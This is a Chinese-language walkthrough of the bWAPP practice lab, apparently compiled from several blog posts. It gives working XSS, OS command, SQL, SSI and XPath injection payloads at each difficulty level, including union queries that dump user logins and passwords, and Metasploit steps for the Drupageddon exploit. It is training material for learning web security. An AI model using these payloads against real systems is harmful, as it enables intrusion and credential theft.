用户名:bee,密码:bug,点击start登陆后即可进行测试

HTML Injection-Reflected(GET)

1.low

这里有两个框让我们输入,先看看源码

这里吧我们输入的firstname和lastname直接带进html了

html是按照我们等级来给函数的,我们看看no_check函数

没有过滤就直接输入了,所以我们直接在First name:和Last name:输入xss代码即可

<script>alert(/xss/)</script>


成功

方法二:当然我们还可以这样,在bwapp目录下放置一个图片

<img src="bug.txt">

2.medium(也就是中等难度)

查看源码发现,这里用了吧尖括号换成实体了,但是用lurldecode函数我们则可以想到直接把我们要输入的值先转成url格式那么他之后就算编码url也不会改变我们输入的内容。

然后在网上找在线转url
然后输入

<script>alert(/xss/)</script>

转换后为

%3cscript%3ealert(%2fxss%2f)%3c%2fscript%3e

3.high

看看源码,这里把我们的符号都设置成实体了,所以这是安全的

HTML Injection - Reflected (URL)

1.low

我们可以发现通关url可以传输,所以我们在url中构造语句

抓包之后把url中添加上

?a=<script>alert(/xss/)</script>

中等高等无法绕过

HTML Injection - Stored (Blog)

1.low

直接输入我们的语句即可

<script>alert(1)</script>


然后点击提交即可

中等高等无法绕过

iFrame Injection

iframe是可用于在HTML页面中嵌入一些文件(如文档,视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”。
通过利用iframe标签对网站页面进行注入,是利用了HTML标签,实际上就是一个阅读器,可以阅读通过协议加载的活服务器本地的文件、视频等

<?php
if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2")
{
?>
<iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}
else
{
?>
<iframe frameborder="0" src="<?php echo xss($_GET["ParamUrl"])?>" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}
?>

安全等级对应的过滤函数

function xss($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);      
break;
case "1" :
$data = xss_check_4($data);
break;
case "2" :
$data = xss_check_3($data);
break;
default :
$data = no_check($data);
break;   
}
return $data;
}

1.low

方法一:
由于没有对参数进行过滤就输出我们可以控制param的输入来访问本地文件

?ParamUrl=.../README.txt&ParamWidth=250&ParamHeight=250

也可以使用百度链接来访问那么在该页面中就可以显示百度搜索页面内容

?ParamUrl=http://www.baidu.com&ParamWidth=250&ParamHeight=250

方法二:

也可以闭合iframe标签然后在让他输出script代码

?ParamUrl="></iframe><script>alert(1)</script>&ParamWidth=250&ParamHeight=250

2.medium

从代码可以看出,medium等级不能控制paramurl的输入,所以只能通过控制ParamHeight和ParamWidth来实现注入。用"></frame>闭合,刚开始用了"",还在想怎么没弹出来,忘了xss_check4的addslashes()函数会在预定义字符(单引号,双引号,反斜杠,NULL)之前提娜佳反斜杠了

function xss_check_4($data)
{

// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!

return addslashes($data);
}

payload:

?ParamUrl=robots.txt&ParamWidth=250"></iframe><script>alert(1)</script>&ParamHeight=250

3.high

对输出进行了限制并且对预定义字符进行了HTML实体解码所以绕过失败。。。

function xss_check_3($data, $encoding = "UTF-8")
{

// htmlspecialchars - converts special characters to HTML entities    
// '&' (ampersand) becomes '&amp;' 
// '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
// "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
// '<' (less than) becomes '&lt;'
// '>' (greater than) becomes '&gt;'  

return htmlspecialchars($data, ENT_QUOTES, $encoding);
   
}

————————————————
版权声明:本文为CSDN博主「0nc3」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/syy0201/article/details/89006638

Mail Header Injection (SMTP)

什么是电子邮件标题注入?
发表于 2017年5月3日由伊恩·马斯喀特
通常的做法是网站实施联系表单,反过来将合法用户的电子邮件发送给消息的预期收件人。大多数情况下,这样的联系表单将设置SMTP标头From,Reply-to以便让收件人轻松处理联系表单中的通信,就像其他电子邮件一样。

不幸的是,除非用户的输入在插入SMTP头之前被验证,否则联系表单可能容易受到电子邮件头插入(也称为SMTP头注入)的攻击。这是因为攻击者可以将额外的头部注入到消息中,从而指示SMTP服务器执行与预期不同的指令。

以下PHP代码是一种易受电子邮件头部注入攻击的典型联系人表单的示例。以下代码将由网站访问者提供的名称和电子邮件地址,并准备电子邮件的标题列表。

使用From标题,以便电子邮件的收件人(在本示例中为root @ localhost)将知道电子邮件作者是谁。回复标题允许电子邮件的收件人通过他们的电子邮件客户端中的回复按钮回复发送电子邮件的人。

<?php
if(isset($_POST['name']))
{
$name = $_POST['name'];
$replyto = $_POST['replyTo'];
$message = $_POST['message'];

$to = 'root@localhost';
$subject = 'My Subject';

// Set SMTP headers
$headers = "From: $name \n" .
"Reply-To: $replyto";

mail($to, $subject, $message, $headers);
}
?>

典型的正版POST请求如下。

POST /contact.php HTTP/1.1
Host: www.example.com

name=Joe Bloggs&replyTo=joebloggs@example.com&message=Example message

攻击者可以通过发送以下POST请求来滥用此联系表单。

POST /contact.php HTTP/1.1
Host: www.example.com

name=Attacker\nbcc: spam@victim.com&replyTo=attacker@attacker.com&message=Attacker message

在此示例中,攻击者正在插入换行符(\n在\r\nWindows系统上的大多数UNIX和Linux系统上),并附加一个包含附加电子邮件地址的密码SMTP标头,SMTP服务器将向BCC发送电子邮件。

攻击者可以使用这样的策略匿名发送大量消息,甚至发送网络钓鱼电子邮件,其中接收者认为这些消息源自可信来源。还值得注意的是,此漏洞不限于PHP; 它可能会影响任何基于任意用户输入发送电子邮件的应用程序。

检测电子邮件头部注入漏洞
为了自动检测电子邮件头部注入,我们需要依赖中介服务,因为检测到这样一个漏洞需要带外和时间延迟的向量。Acunetix 在自动扫描期间通过使用AcuMonitor作为其中介服务来解决此问题。

在扫描期间,Acunetix将找到联系表单,并注入指向AcuMonitor电子邮件地址的自定义BCC SMTP标头。如果有问题的应用程序导致SMTP服务器发送电子邮件到AcuMonitor,那么AcuMonitor知道它是易受攻击的,它会发送一个通知回到Acunetix,表明它应该提高电子邮件头插入警报。

减轻
减少电子邮件标题注入涉及验证用户输入,不允许输入中的任何换行符,这将导致添加另一个SMTP标头。一般来说,当验证用户输入时,实现强输入验证的最简单和最强劲的方法是通过白名单中允许的字符用于SMTP标头。

OS command injection

1.low
直接在输入框中输入

www.nsa.gov | whoami


2.medium
这里只是把&和;替换掉了,我们一样可以通过
所以就输入low时的就行

www.nsa.gov | whoami

function commandi_check_l($data)
{
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
}


高等无法绕过

function commandi_check_2($data)
{
return escapeshellcmd($data);    
}

OS Command Injection - Blind

这里是根据反应时间判断命令是否成功执行
1.low
在输入框中输入

whoami'sleep 5'


或者

||whoami `sleep 5 `


2.medium
和low一样

PHP Code Injection

1.low

http://127.0.0.1:8000/phpi.php?message=phpinfo()


2.medium&3.high
中等高等用了htmlspecialchars函数故无法绕过

Server-Side Includes (SSI) Injection

什么是SSI和SSI注入

 SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI 命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。SSI 可以称得上是那些资金短缺、时间紧张、工作量大的网站开发人员的最佳帮手。本文将主要结合Apache服务器介绍SSI的使用方法。 

 ps:(Server-side Includes) 服务器端包含提供了一种对现有HTML文档增加动态内容的方法。apache和iis都可以通过配置支持SSI,在网页内容被返回给用户之前,服务器会执行网页内容中的SSI标签。在很多场景中,用户输入的内容可以显示在页面中,比如一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞

1.low
First name:

<script>alert("xss")</script>

Last name:

s

2.medium
中等过滤的是单引号双引号反斜杠和null所以我们把双引号改成斜杠即可
First name:

<script>alert(/xss/)</script>

Last name:

s

3.high
不能绕过

给出high难度的防御代码,也可以作为实际环境中的防御措施:

function check($data, $encoding = "UTF-8")
{

// htmlspecialchars - converts special characters to HTML entities    
// '&' (ampersand) becomes '&amp;' 
// '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
// "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
// '<' (less than) becomes '&lt;'
// '>' (greater than) becomes '&gt;'  

return htmlspecialchars($data, ENT_QUOTES, $encoding);   
}

SQL Injection (GET/Search)

    手工注入步骤

    下面简要介绍手工注入(非盲注)的步骤。

    1.判断是否存在注入,注入是字符型还是整数型

    2.猜解SQL查询语句中的字段数 (order by )

    3.确定显示的字段顺序 

    4.获取当前数据库 (爆库)

    5.获取数据库中的表 (爆表)

    6.获取表中的字段名 (爆字段)

    7.下载数据 (爆数据)

1.low
判断注入点
输入单引号报错
那么猜测SQL语句如下:

SELECT * FROM movies WHERE title LIKE '%" . ($title) . "%'

然后搜索'and 1=1#爆出数据

然后判断有几个字段

' order by 1,2,3,4,5,6,7,8#
' order by 1,2,3,4,5,6,7#



然后再想办法得出页面输入的是哪几个字段因为页面只显示了五个字段,所以构建

' union select 1,2,3,4,5,6,7#


发现显示的是2.3.4.5然后就可以继续让页面显示其他数据了例如数据库用户等等只要对应相对的地方,然后能够显示出来构建爆出版本号,数据库,用户,想要爆出什么数据输入对应的函数即可
相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

' union select 1,2,version(),database(),user(),6,7#


2.medium
这边源码观察到采用addslashes()函数对预定义字符进行了转义 :

    addslashes()函数

返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
单引号(')
双引号(")
反斜杠()
null
查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:

可惜mysql编码是utf-8:无法绕过

3.high
采用了mysql_real_escape_string()函数来防御
mysql_real_escape_string()函数
转义SQL语句中使用的字符串中的特殊字符.
下列字符受影响:
\x00
\n
\r

'
"
\x1a
如果成功,则该函数返回被转移的字符串,如果失败,则返回false
无法注入

SQL Injection (GET/Select)

相比上一关这里再前端采用了下拉菜单选择来控制用户的输入防止恶意输入:
但是即便如此也只是表面功夫而已
由于是get型,攻击者可以通过修改url参数数据来注入:
1.low
无任何防护,像上一关一样直接注入即可
判断是何注入:

http://127.0.0.1:8000/sqli_2.php?movie=1 and 1=1#&action=go
http://127.0.0.1:8000/sqli_2.php?movie=1 and 1=2#&action=go


得出为数字型注入
然后判断字段数

http://127.0.0.1:8000/sqli_2.php?movie=1 order by 1,2,3,4,5,6,7,8#
http://127.0.0.1:8000/sqli_2.php?movie=1 order by 1,2,3,4,5,6,7#


得出为7个
然后看页面回显哪几列

http://127.0.0.1:8000/sqli_2.php?movie=0 union select  1,2,3,4,5,6,7#&action=go

然后让在对应栏位里输出版本号,数据库,用户

http://127.0.0.1:8000/sqli_2.php?movie=0%20union%20select%20%201,version(),database(),user(),5,6,7#&action=go


Medium&High
Medium和High级别分别采用了addslashed()和mysql_real_escape_string()来过滤特殊字符:

但是这是数字型注入,对于字符型注入的防御策略并不起作用
所以依然可以和low等级一样进行注入
SQL Injection (POST/Search)

与Get型的大同小异, 只不过这里采用Post请求方式,
虽然Post型比Get型请求更安全, 但是想要注入只不过麻烦一点而已
攻击者仍然可以通过抓包修改数据包的方式了注入
1.low
判断注入点


得出字符型注入
接下来就和Get型一样了,只不过再多了一步抓包而已。

Medium&High
分别用了addslashes()和mysql_real_escape_string()函数防御:

且在Medium中, mysql编码为utf-8, 无法用宽字节绕过, 安全

SQL Injection (POST/Select)

方法和上一关一样
注入类型:

回显正常说明为数字型注入
判断字段数:


说明为7个字段
判断显示的是哪几个字段

说明为2,3,4,5
然后根据显示字段使其显示相关信息如,数据库,用户,版本号

SQL Injection (AJAX/JSON/jQuery)
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。
什么是 AJAX ?
AJAX = 异步 JavaScript 和 XML。
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
传统的网页(不使用 AJAX)如果需要更新内容,必需重载整个网页面。
有很多使用 AJAX 的应用程序案例:新浪微博、Google 地图、开心网等等。

对应的js代码如下:

1.low
直接用get型url访问是不行的:

在js中采用了getJSON来实时更新查询结果,

然后鼠标右键打开inspect Element点击network当你在页面输入框中输入时你输一个对应在network就会出现一个可以看到
http://localhost:8080/bWAPP/sqli_10-2.php?
是以这个打头的所以可以间接的从sqli_10-2.php注入:
注意这里得用url编码

也可以在sqli_10-1.php搜索框注入:

Iron%' and 1=1 #


Medium&High
分别用了addslashes()和mysql_real_escape_string()函数防御,且在MySQ编码为utf-8,无法用宽字节绕过,安全。

SQL Injection (CAPTCHA)

(无法使用,不知道是我的问题还是。。)

SQL Injection (Login Form/Hero)

1.low

我们输入4,仍然可以注入
我们输入5

说明只有四列

找到回显

这里有报错的话,我们直接报错注入

组合查询数据

medium&high
继续构造用户名, 发现服务器只返回了用户名和密码是否正确(合法):

查看源码发现对用户名和密码进行了相应的防护:

分别用了addslashes()和mysql_real_escape_string()函数防御,

且在mysql编码为utf-8, 无法用宽字节绕过, 安全。

SQL Injection (Login Form/User)

1.low
继续像上一关那样思路,

构造万能登录用户名, 密码随意:

发现无法注入。
查看源码逻辑(黑白盒结合测试), 它先是判断用户名是否存在, 存在之后再判断密码是否正确:

问了一下朋友, 得知这曾经是一道CTF的题,

分析
既然sql语句只发生在查询用户名处, 所以注入也只能在用户名, (因为需要通过用户名验证, 再通过密码)

注入单引号:

接着判断注入点

发现无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。
因此无法使用order by 判断字段数 (判断注入点是为了用order by来得到字段数)
但是可以直接通过联合查询得到字段数:

判断字段的显示顺序

无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。

所以我们进入数据库实验:

可以看到, 联合查询3的位置对应password字段, 且password字段的值是经过md5加密过的,

由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等

比如, 注入的联合查询为:

' union select 1,2,3,4,5,6,7,8,9 #


recordsetrecordset从数据库中搜索就有了返回值,即row["login"]返回不为空,这里第一个条件就构成了。后面POST的“&password=3”,3的hash的值被我们添加到联合查询语句里了,即返回的查询有3的hash值

所以输入密码与联合查询输入的3字段相等即可
用户名: ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
密码 : 3
其中, sha1(3) 加密后为 77de68daecd823babbb58edb1c8e14d7106e83bb

得知注入字段显示顺序为2和5

当前数据库和用户

用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #
密码  :  3


爆表

用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #
密码  :  3


users表的所有字段

用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9 #
密码  :  3


爆值

用户名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #
密码  :  3


Medium&High
查看源码发现对用户名和密码进行了相应的防护:

分别用了addslashes()和mysql_real_escape_string()函数防御,
且在mysql编码为utf-8, 无法用宽字节绕过, 安全。

SQL Injection (SQLite)

首先需要安装SQLite插件:

apt-get install sqlite3
apt-get install php5-sqlite

然后重启一下apache:
service apache2 restart

SQLite介绍
SQLite含有一张内置表"sqlite_master",表里存储着type,name,tbl_name,rootpage,sql五个字段。
type列记录了项目的类型,如table,index,view,trigger
tbl_name字段记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身;
name字段记录了项目的名称,如表名,索引名等;
rootpage记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者null
sql存放着所有的表的创建语句,即表的结构。
1.low
注入单引号,只会报错 Error:HY000,可能是sqlite的报错标注:

根据查询功能,很明显为模糊匹配:

于是得出sql语句为:
select * from books where title='%$title%';
判断注入点

Iron%' and 1=1 --

注意在sqlite中,注释符为:--

判断字段数

Iron%' order by 6 --

判断字段显示顺序

123%' union select 1,2,3,4,5,6 --


爆出所有表

123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --


users表的字段

123%' union select 1,sqlite_version,sql,4,5,6 from sqlite_master --

通过sql可以查看建表语句,从而得到字段属性:

取值

123%' union select 1,2,login,password,5,6 from users --


Medium&High
在medium和high等级中,都过滤了单引号,无法注入:

Drupal SQL Injection (Drupageddon)(完全看不懂)

CVE-2014-3704:
翻译一下就是:  由于expandArguments()函数没有正确构造准备好的语句,这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。

Drupal是一款开源内容管理系统(CMS),用户多达100万以上(包括政府、电子零售、企业组织、金融机构等),除非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则,所有用户都会面临该漏洞的严重威胁。

bwapp平台复现了漏洞,  但仅仅再bee-box平台中体现:

由于没有安装bee-box的支持, 所以演示步骤, 不贴结果。具体可移步到 vulhub篇

直接上msf:

搜索drupal漏洞:

search drupal


查看漏洞信息:

show info exploit/multi/http/drupal_drupageddon


使用CVE-2014-3704对应的攻击模块:

use exploit/multi/http/drupal_drupageddon

设置Drupal网站路径:

set targeturi /drupal/

所定攻击的ip和端口:

set RHOSTS 192.168.10.10

set rport 8080

发动攻击,  拿到shell:

exploit

SQL Injection - Stored (Blog)

一个发表blog的功能

分析
1.在将blog内容以及事件作者等插入数据库的过程中,肯定用到了insert语句,对应的就可以采用sql注入
2.观察插入之后的内容,被写入到网页中,这里就类似于存储型xss
1.low
sql注入
注入单引号,得到回显

所以猜测sql语句为:

insert into blog(date,entry,owner) values(now(),'$entry','bee');

注入点为entry处,可以将前面的values()闭合掉,然后再加上注入内容即可
判断注入点

1。联合查询注入

test',(select database()))#


爆表

test',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#


2.报错注入
尝试报错注入

test',(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))))#
test',(extractvalue(1,concat(0x7e,(select database()),0x7e))))#


然后再尝试xss
注入

<script>alert(1)</script>


medium&high
注入的单引号发现被转义了:

查看源码,发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护:


XSS
但没有对xss进行相应的防护(只有medium适用,high不适用)

<scirpt>alert(2)</script>


SQL Injection -Stored (SQLite)



Let’s try with single quote


The entry was added but it’s not showing anything which mean we found the SQLi
Now we have to find the correct syntax so we can see the output of the sqli on the webpage

’,’’);

As you can see with ’,’’); we could add a blank entry in the blog

’, sqlite_version());


’, (SELECT name FROM sqlite_master WHERE type=’table’));

Table name is blog, using this method you can enumerate it further.

SQL Injection - Stored (User-Agent)

当用户访问页面时, 后台会获取用户的ip, 访问时间以及http头信息的内容:

并且将获取到的信息存储到数据库,  然后再显示到页面上。

1.low
原理同样,  猜测insert的sql语句为:

INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');

抓包,  注入点为 user-agent:

Medium&High
查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护, 安全:

SQL Injection-Stored(XML)

1.low
当点击按钮后网络中会出现post请求文件打开为sqli_8-2.php

然后抓包猜测sql语句


则猜测sql语句为:

update users set secret = '$secret' where login = '$login';

因为这里有报错,我们试试报错注入



medium&high
已经防御不能注入

SQL Injection-Blind-Boolean-Based

1.low


一般字符型注入可用#,--+闭合,但是这里说明识别不了#只能识别--+


这里检测database()=3,或者database()=5会发现回显不一样
medium&high
已经防御不能注入
SQL-Injection-Blind-Time-Based
1.low

title=1'+or+sleep(5)--+


发现页面缓冲所以存在延时注入

这里明显不正确。
所以当length长度为5时,回显正确

说明数据库长度为5
medium&high
同样采用了addslashed()和mysqli_real_escape_string()函数,

且mysql编码和os编码一致, 无法用宽字节绕过, 安全。

SQL Injection - Blind (SQLite)

同样是布尔盲注:

方法思路一样, 和mysql相比只不过是语法不同。

XML/XPath Injection (Login Form)


可知是利用了xml/xpath解析的用户登录信息。
XPath注入的原理其实和sql注入很像, XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构,或者访问在正常情况下不允许访问的数据,如果 XML 数据被用于用户认证,那么攻击者就可以提升他的权限。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML 中没有访问控制或者用户认证,如果用户有权限使用 XPath 查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档。 注入出现的位置也就是cookie,headers,request parameters/input等。
1.Low
以这关的登录验证模块为例,说明 XPath注入攻击的实现原理。

在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找XML文件中的用户名 (username)和密码(password)的结果来进行授权访问,

白盒测试
查看源码得知是通过读取heroes.xml文件的内容, 并且通过xpath寻找用户的账户和密码来验证登录:

继续查看heroes.xml文件内容, 是一个xml文件, 里面包含了用户名和登录密码等信息:

根据xpath语句:

/heroes/hero[login='$login' and password='$password']

在没有对login和password参数作任何防护的情况下,  可以构造xpath语句进行注入

这里注入点选择login参数, 将$login前面的单引号闭合,  加入永真条件1=1,  构造一个万能登录的payload:

hack' or 1=1 or '


Medium&High
这两个级别中, 都对xpath语法进行了严格的过滤, 安全:

XML/XPath Injection (Search)

这关通过简单的类别搜索来查找电影名称

如下就是查找科幻类的电影:

1.Low
黑盒测试
通过url更改参数注入单引号, 从得到报错信息得知: 服务端是用了xml的解析

白盒测试
查看源码, 看到的确是读取了一个包含电影信息的xml文件, 然后再利用xpath提取信息:


关键xpath语句如下:

//hero[contains(genre, '$genre')]/movie

大概表示所有属性值genre为$genre的hero标签下的movie元素值

这里的genre参数是可控的,  攻击者可以构造恶意xpath语句来获取整个xml文档的信息:

比如,  通过闭合$genre前面的单引号,  然后在后面选取hero的password元素值; 最后用一个 | 运算符将movie闭合好:

horror')]/password | hack[contains(a,'

注入后的xpath语句为:

//hero[contains(genre, 'horror')]/password | hack[contains(a,'')]/movie


当然也有其他payload, 感兴趣的自行脑补。

Medium&High
同样对xpath语法进行了严格的过滤, 安全:

原文链接:https://blog.csdn.net/angry_program/article/detail
原文链接:https://blog.csdn.net/angry_program/article/details/104644236/
原文链接:https://teckk2.github.io/web-pentesting/2018/02/07/SQL-Injection-Stored-(SQLite).html
原文链接:https://blog.csdn.net/angry_program/article/details/104545171
原文链接:https://blog.csdn.net/weixin_38167363/article/details/99932426